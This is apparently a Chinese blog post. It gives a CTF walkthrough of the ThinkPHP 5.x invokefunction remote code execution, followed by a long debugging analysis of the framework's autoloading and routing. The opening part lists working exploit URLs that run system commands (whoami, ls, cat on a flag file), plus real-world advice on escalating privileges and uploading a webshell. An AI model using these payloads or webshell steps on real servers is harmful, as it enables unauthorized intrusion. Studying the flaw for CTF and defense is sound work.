前言
上個學期鑽研web滲透的時候接觸過幾個tp的框架,但那時候還沒有寫blog的習慣,也沒有記錄下來,昨天在做ctf的時候正好碰到了一個tp的框架,想起來就復現一下
正文
進入網站,標准笑臉,老tp人了
直接先一發命令打出phpinfo(),因為是在打ctf有些地方我就沒有仔細去看
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
在實戰中如果遇到tp的站,先看下disable_functions()
看下session,找一下log等等
滑到頁面的最下面看一下tp版本
這個版本是能夠利用system函數遠程命令執行,命令如下:
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
不難看出網站確實存在並且能夠執行系統命令,實戰滲透方法很明確:
1、首先看下自己當前權限是否是管理員權限,如果是再好不過,不然后面還得想方法進行提權。
2、然后再上傳一句話木馬,菜刀鏈接,基本到這就差不多了。
但是有些時候會碰到各種問題,什么waf,什么上馬之后沒有數據返回等等等等,因為手邊沒有現成的tp的站,以后碰到了再具體進行分析吧
繼續ctf板塊:
用ls命令查看當前目錄下的文件
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
好像在這個目錄下沒找到flag,繼續往上級目錄找,然而上級目錄還是沒有,但是發現了個robots.txt,爬蟲禁止的爬取東西應該就放在里面
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../
最后一直往上了四個目錄才終於發現了flag
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../../../..
cat命令查看一下flag
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../../flag.txt
ctf板塊就暫時告一段落
這里我本着尋根溯源的思想去百度了這個版本rce的漏洞原理,可能有些地方現在看得還不是很懂,先貼在這里
框架流程淺析
我們先看入口文件index.php,入口文件非常簡潔,只有三行代碼。
可以看到這里首先定義了一下命名空間,然后加載一些基礎文件后,就開始執行應用。
第二行引入base.php基礎文件,加載了Loader類,然后注冊了一些機制--如自動加載功能、錯誤異常的機制、日志接口、注冊類庫別名。
這些機制中比較重要的一個是自動加載功能,系統會調用 Loader::register()方法注冊自動加載,在這一步完成后,所有符合規范的類庫(包括Composer依賴加載的第三方類庫)都將自動加載。下面我詳細介紹下這個自動加載功能。
首先需要注冊自動加載功能,注冊主要由以下幾部分組成:
1. 注冊系統的自動加載方法 \think\Loader::autoload
2. 注冊系統命名空間定義
3. 加載類庫映射文件(如果存在)
4. 如果存在Composer安裝,則注冊Composer自動加載
5. 注冊extend擴展目錄
其中2.3.4.5是為自動加載時查找文件路徑的時候做准備,提前將一些規則(類庫映射、PSR-4、PSR-0)配置好。
然后再說下自動加載流程,看看程序是如何進行自動加載的?
spl_autoload_register()是個自動加載函數,當我們實例化一個未定義的類時就會觸發此函數,然后再觸發指定的方法,函數第一個參數就代表要觸發的方法。
可以看到這里指定了think\Loader::autoload()這個方法。
首先會判斷要實例化的$class類是否在之前注冊的類庫別名$classAlias中,如果在就返回,不在就進入findFile()方法查找文件,
這里將用多種方式進行查找,以類庫映射、PSR-4自動加載檢測、PSR-0自動加載檢測的順序去查找(這些規則方式都是之前注冊自動加載時配置好的),最后會返回類文件的路徑,然后include包含,進而成功加載並定義該類。
這就是自動加載方法,按需自動加載類,不需要一一手動加載。在面向對象中這種方法經常使用,可以避免書寫過多的引用文件,同時也使整個系統更加靈活。
在加載完這些基礎功能之后,程序就會開始執行應用,它首先會通過調用Container類里的靜態方法get()去實例化app類,接着去調用app類中的run()方法。
在run()方法中,包含了應用執行的整個流程。
1. $this->initialize(),首先會初始化一些應用。例如:加載配置文件、設置路徑環境變量和注冊應用命名空間等等。
2. this->hook->listen('app_init'); 監聽app_init應用初始化標簽位。Thinkphp中有很多標簽位置,也可以把這些標簽位置稱為鈎子,在每個鈎子處我們可以配置行為定義,通俗點講,就是你可以往鈎子里添加自己的業務邏輯,當程序執行到某些鈎子位置時將自動觸發你的業務邏輯。
3. 模塊\入口綁定
進行一些綁定操作,這個需要配置才會執行。默認情況下,這兩個判斷條件均為false。
4. $this->hook->listen('app_dispatch');監聽app_dispatch應用調度標簽位。和2中的標簽位同理,所有標簽位作用都是一樣的,都是定義一些行為,只不過位置不同,定義的一些行為的作用也有所區別。
5. $dispatch = $this->routeCheck()->init(); 開始路由檢測,檢測的同時會對路由進行解析,利用array_shift函數一一獲取當前請求的相關信息(模塊、控制器、操作等)。
6. $this->request->dispatch($dispatch);記錄當前的調度信息,保存到request對象中。
7.記錄路由和請求信息
如果配置開啟了debug模式,會把當前的路由和請求信息記錄到日志中。
8. $this->hook->listen('app_begin'); 監聽app_begin(應用開始標簽位)。
9. 根據獲取的調度信息執行路由調度
期間會調用Dispatch類中的exec()方法對獲取到的調度信息進行路由調度並最終獲取到輸出數據$response。
然后將$response返回,最后調用Response類中send()方法,發送數據到客戶端,將數據輸出到瀏覽器頁面上。
在應用的數據響應輸出之后,系統會進行日志保存寫入操作,並最終結束程序運行。
漏洞預備知識
這部分主要講解與漏洞相關的知識點,有助於大家更好地理解漏洞形成原因。
命名空間特性
ThinkPHP5.1遵循PSR-4自動加載規范,只需要給類庫正確定義所在的命名空間,並且命名空間的路徑與類庫文件的目錄一致,那么就可以實現類的自動加載。
例如,\think\cache\driver\File類的定義為:
namespace think\cache\driver; class File { }
如果我們實例化該類的話,應該是:
$class = new \think\cache\driver\File();
系統會自動加載該類對應路徑的類文件,其所在的路徑是 thinkphp/library/think/cache/driver/File.php。
可是為什么路徑是在thinkphp/library/think下呢?這就要涉及要另一個概念—根命名空間。
1.1 根命名空間
根命名空間是一個關鍵的概念,以上面的\think\cache\driver\File類為例,think就是一個根命名空間,其對應的初始命名空間目錄就是系統的類庫目錄(thinkphp/library/think),我們可以簡單的理解一個根命名空間對應了一個類庫包。
系統內置的幾個根命名空間(類庫包)如下:
1.2 URL訪問
在沒有定義路由的情況下典型的URL訪問規則(PATHINFO模式)是:
http://serverName/index.php(或者其它應用入口文件)/模塊/控制器/操作/[參數名/參數值...]
如果不支持PATHINFO的服務器可以使用兼容模式訪問如下:
http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值...]
什么是pathinfo模式?
我們都知道一般正常的訪問應該是:
http://serverName/index.php?m=module&c=controller&a=action&var1=vaule1&var2=vaule2
而pathinfo模式是這樣的:
http://serverName/index.php/module/controller/action/var1/vaule1/var2/value2
在php中有一個全局變量$_SERVER['PATH_INFO'],我們可以通過它來獲取index.php后面的內容。
什么是$_SERVER['PATH_INFO']?
官方是這樣定義它的:包含由客戶端提供的、跟在真實腳本名稱之后並且在查詢語句(query string)之前的路徑信息。
什么意思呢?簡單來講就是獲得訪問的文件和查詢?之間的內容。
強調一點,在通過$_SERVER['PATH_INFO']獲取值時,系統會把'\'自動轉換為'/'(這個特性我在Mac Os(MAMP)、Windows(phpstudy)、Linux(php+apache)環境及php5.x、7.x中進行了測試,都會自動轉換,所以系統及版本之間應該不會有所差異)。
下面再分別介紹下入口文件、模塊、控制器、操作、參數名/參數值。
1. 入口文件
文件地址:public\index.php
作用:負責處理請求
2. 模塊(以前台為例)
模塊地址:application\index
作用:網站前台的相關部分
3. 控制器
控制器目錄:application\index\controller
作用:書寫業務邏輯
4. 操作(方法)
在控制器中定義的方法
5. 參數名/參數值
方法中的參數及參數值
例如我們要訪問index模塊下的Test.php控制器文件中的hello()方法。
那么可以輸入<http://serverName/index.php/index(模塊)/Test(控制器)/hello(方法)/name(參數名)/world(參數值)
這樣就訪問到指定文件了。
另外再講一下Thinkphp的幾種傳參方式及差別。
PATHINFO: index.php/index/Test/hello/name/world
只能以這種方式傳參。
兼容模式:
index.php?s=index/Test/hello/name/world
index.php?s=index/Test/hello&name=world
當我們有兩個變量$a、$b時,在兼容模式下還可以將兩者結合傳參:
index.php?s=index/Test/hello/a/1&b=2
這時,我們知道了URL訪問規則,當然也要了解下程序是怎樣對URL解析處理,最后將結果輸出到頁面上的。
1.3 URL路由解析動態調試分析
URL路由解析及頁面輸出工作可以分為5部分。
1. 路由定義:完成路由規則的定義和參數設置
2. 路由檢測:檢查當前的URL請求是否有匹配的路由
3. 路由解析:解析當前路由實際對應的操作。
4. 路由調度:執行路由解析的結果調度。
5. 響應輸出及應用結束:將路由調度的結果數據輸出至頁面並結束程序運行。
我們通過動態調試來分析,這樣能清楚明了的看到程序處理的整個流程,由於在Thinkphp中,配置不同其運行流程也會不同,所以我們采用默認配置來進行分析,並且由於在程序運行過程中會出現很多與之無關的流程,我也會將其略過。
1.3.1 路由定義
通過配置route目錄下的文件對路由進行定義,這里我們采取默認的路由定義,就是不做任何路由映射。
1.3.2 路由檢測
這部分內容主要是對當前的URL請求進行路由匹配。在路由匹配前先會獲取URL中的pathinfo,然后再進行匹配,但如果沒有定義路由,則會把當前pathinfo當作默認路由。
首先我們設置好IDE環境,並在路由檢測功能處下斷點。
然后我們請求上面提到的Test.php文件。
http://127.0.0.1/tp5.1.20/public/index.php/index/test/hello/name/world
我這里是以pathinfo模式請求的,但是其實以不同的方式在請求時,程序處理過程是有稍稍不同的,主要是在獲取參數時不同。在后面的分析中,我會進行說明。
F7跟進routeCheck()方法。
route_check_cache路由緩存默認是不開啟的。
然后我們進入path()方法。
繼續跟進pathinfo()方法。
這里會根據不同的請求方式獲取當前URL的pathinfo信息,因為我們的請求方式是pathinfo,所以會調用$this->server('PATH_INFO')去獲取,獲取之后會使用ltrim()函數對$pathinfo進行處理去掉左側的’/’符號。Ps:如果以兼容模式請求,則會用$_GET方法獲取。
然后返回賦值給$path並將該值帶入check()方法對URL路由進行檢測。
這里主要是對我們定義的路由規則進行匹配,但是我們是以默認配置來運行程序的,沒有定義路由規則,所以跳過中間對於路由檢測匹配的過程,直接來看默認路由解析過程,使用默認路由對其進行解析。
1.3.3 路由解析
接下來將會對路由地址進行了解析分割、驗證、格式處理及賦值進而獲取到相應的模塊、控制器、操作名。
new UrlDispatch() 對UrlDispatch(實際上是think\route\dispatch\Url這個類)實例化,因為Url沒有構造函數,所以會直接跳到它的父類Dispatch的構造函數,把一些信息傳遞(包括路由)給Url類對象,這么做的目的是為了后面在調用Url類中方法時方便調用其值。
賦值完成后回到routeCheck()方法,將實例化后的Url對象賦給$dispatch並return返回。
返回后會調用Url類中的init()方法,將$dispatch對象中的得到$this->dispatch(路由)傳入parseUrl()方法中,開始解析URL路由地址。
跟進parseUrl()方法。
這里首先會進入parseUrlPath()方法,將路由進行解析分割。
使用"/"進行分割,拿到 [模塊/控制器/操作/參數/參數值]。
緊接着使用array_shift()函數挨個從$path數組中取值對模塊、控制器、操作、參數/參數值進行賦值。
接着將參數/參數值保存在了Request類中的Route變量中,並進行路由封裝將賦值后的$module、$controller、$action存到route數組中,然后將$route返回賦值給$result變量。
new Module($this->request, $this->rule, $result),實例化Module類。
在Module類中也沒有構造方法,會直接調用Dispatch父類的構造方法。
然后將傳入的值都賦值給Module類對象本身$this。此時,封裝好的路由$result賦值給了$this->dispatch,這么做的目的同樣是為了后面在調用Module類中方法時方便調用其值。
實例化賦值后會調用Module類中的init()方法,對封裝后的路由(模塊、控制器、操作)進行驗證及格式處理。
$result = $this->dispatch,首先將封裝好的路由$this->dispatch數組賦給$result,接着會從$result數組中獲取到了模塊$module的值並對模塊進行大小寫轉換和html標簽處理,接下來會對模塊值進行檢測是否合規,若不合規,則會直接HttpException報錯並結束程序運行。檢測合格之后,會再從$result中獲取控制器、操作名並處理,同時會將處理后值再次賦值給$this(Module類對象)去替換之前的值。
Ps:從$result中獲取值時,程序采用了三元運算符進行判斷,如果相關值為空會一律采用默認的值index。這就是為什么我們輸入http://127.0.0.1/tp5.1.20/public/index.php在不指定模塊、控制器、操作值時會跳到程序默認的index模塊的index控制器的index操作中去。
此時調度信息(模塊、控制器、操作)都已經保存至Module類對象中,在之后的路由調度工作中會從中直接取出來用。
然后返回Module類對象$this,回到最開始的App類,賦值給$dispatch。
至此,路由解析工作結束,到此我們獲得了模塊、控制器、操作,這些值將用於接下來的路由調度。
接下來在路由調度前,需要另外說明一些東西:路由解析完成后,如果debug配置為True,則會對路由和請求信息進行記錄,這里有個很重要的點param()方法, 該方法的作用是獲取變量參數。
在這里,在確定了請求方式(GET)后,會將請求的參數進行合並,分別從$_GET、$_POST(這里為空)和Request類的route變量中進行獲取。然后存入Request類的param變量中,接着會對其進行過濾,但是由於沒有指定過濾器,所以這里並不會進行過濾操作。
Ps:這里解釋下為什么要分別從$_GET中和Request類的route變量中進行獲取合並。上面我們說過傳參有三種方法。
1. index/Test/hello/name/world
2. index/Test/hello&name=world
3. index/Test/hello/a/1&b=2
當我們如果選擇1進行請求時,在之前的路由檢測和解析時,會將參數/參數值存入Request類中的route變量中。
而當我們如果選擇2進行請求時,程序會將&前面的值剔除,留下&后面的參數/參數值,保存到$_GET中。
並且因為Thinkphp很靈活,我們還可以將這兩種方式結合利用,如第3個。
這就是上面所說的在請求方式不同時,程序在處理傳參時也會不同。
Ps:在debug未開啟時,參數並不會獲得,只是保存在route變量或$_GET[]中,不過沒關系,因為在后面路由調度時還會調用一次param()方法。
繼續調試,開始路由調度工作。
1.3.4 路由調度
這一部分將會對路由解析得到的結果(模塊、控制器、操作)進行調度,得到數據結果。
這里首先創建了一個閉包函數,並作為參數傳入了add方法()中。
將閉包函數注冊為中間件,然后存入了$this->queue[‘route’]數組中。
然后會返回到App類, $response = $this->middleware->dispatch($this->request);執行middleware類中的dispatch()方法,開始調度中間件。
使用call_user_func()回調resolve()方法,
使用array_shift()函數將中間件(閉包函數)賦值給了$middleware,最后賦值給了$call變量。
當程序運行至call_user_func_array()函數繼續回調,這個$call參數是剛剛那個閉包函數,所以這時就會調用之前App類中的閉包函數。
中間件的作用官方介紹說主要是用於攔截或過濾應用的HTTP請求,並進行必要的業務處理。所以可以推測這里是為了調用閉包函數中的run()方法,進行路由調度業務。
然后在閉包函數內調用了Dispatch類中的run()方法,開始執行路由調度。
跟進exec()方法。
可以看到,這里對我們要訪問的控制器Test進行了實例化,我們來看下它的實例化過程。
將控制器類名$name和控制層$layer傳入了parseModuleAndClass()方法,對模塊和類名進行解析,獲取類的命名空間路徑。
在這里如果$name類中以反斜線\開始時就會直接將其作為類的命名空間路徑。此時$name是test,明顯不滿足,所以會進入到else中,從request封裝中獲取模塊的值$module,然后程序將模塊$module、控制器類名$name、控制層$layer再傳入parseClass()方法。
對$name進行了一些處理后賦值給$class,然后將$this->namespace、$module、$layer、$path、$class拼接在一起形成命名空間后返回。
到這我們就得到了控制器Test的命名空間路徑,根據Thinkphp命名空間的特性,獲取到命名空間路徑就可以對其Test類進行加載。
F7繼續調試,返回到了剛剛的controller()方法,開始加載Test類。
加載前,會先使用class_exists()函數檢查Test類是否定義過,這時程序會調用自動加載功能去查找該類並加載。
加載后調用__get()方法內的make()方法去實例化Test類。
這里使用反射調用的方法對Test類進行了實例化。先用ReflectionClass創建了Test反射類,然后 return $reflect->newInstanceArgs($args); 返回了Test類的實例化對象。期間順便判斷了類中是否定義了__make方法、獲取了構造函數中的綁定參數。
然后將實例化對象賦值賦給$object變量,接着返回又賦給$instance變量。
繼續往下看。
這里又創建了一個閉包函數作為中間件,過程和上面一樣,最后利用call_user_func_array()回調函數去調用了閉包函數。
在這個閉包函數內,主要做了4步。
1.使用了is_callable()函數對操作方法和實例對象作了驗證,驗證操作方法是否能用進行調用。
2.new ReflectionMethod()創建了Test的反射類$reflect。
3.緊接着由於url_param_type默認為0,所以會調用param()方法去請求變量,但是前面debug開啟時已經獲取到了並保存進了Request類對象中的param變量,所以此時只是從中將值取出來賦予$var變量。
4.調用invokeReflectMethod()方法,並將Test實例化對象$instance、反射類$reflect、請求參數$vars傳入。
這里調用了bindParams()方法對$var參數數組進行處理,獲取了Test反射類的綁定參數,獲取到后將$args傳入invokeArgs()方法,進行反射執行。
然后程序就成功運行到了我們訪問的文件(Test)。
運行之后返回數據結果,到這里路由調度的任務也就結束了,剩下的任務就是響應輸出了,將得到數據結果輸出到瀏覽器頁面上。
1.3.5 響應輸出及應用結束
這一小節會對之前得到的數據結果進行響應輸出並在輸出之后進行掃尾工作結束應用程序運行。在響應輸出之前首先會構建好響應對象,將相關輸出的內容存進Response對象,然后調用Response::send()方法將最終的應用返回的數據輸出到頁面。
繼續調試,來到autoResponse()方法,這個方法程序會來回調用兩次,第一次主要是為了創建響應對象,第二次是進行驗證。我們先來看第一次,
此時$data不是Response類的實例化對象,跳到了elseif分支中,調用Response類中的create()方法去獲取響應輸出的相關數據,構建Response對象。
執行new static($data, $code, $header, $options);實例化自身Response類,調用__construct()構造方法。
可以看到這里將輸出內容、頁面的輸出類型、響應狀態碼等數據都傳遞給了Response類對象,然后返回,回到剛才autoResponse()方法中
到此確認了具體的輸出數據,其中包含了輸出的內容、類型、狀態碼等。
上面主要做的就是構建響應對象,將要輸出的數據全部封裝到Response對象中,用於接下來的響應輸出。
繼續調試,會返回到之前Dispatch類中的run()方法中去,並將$response實例對象賦給$data。
緊接着會進行autoResponse()方法的第二次調用,同時將$data傳入,進行驗證。
這回$data是Response類的實例化對象,所以將$data賦給了$response后返回。
然后就開始調用Response類中send()方法,向瀏覽器頁面輸送數據。
這里依次向瀏覽器發送了狀態碼、header頭信息以及得到的內容結果。
輸出完畢后,跳到了appShutdown()方法,保存日志並結束了整個程序運行。
1.4 流程總結
上面通過動態調試一步一步地對URL解析的過程進行了分析,現在我們來簡單總結下其過程:
首先發起請求->開始路由檢測->獲取pathinfo信息->路由匹配->開始路由解析->獲得模塊、控制器、操作方法調度信息->開始路由調度->解析模塊和類名->組建命名空間>查找並加載類->實例化控制器並調用操作方法->構建響應對象->響應輸出->日志保存->程序運行結束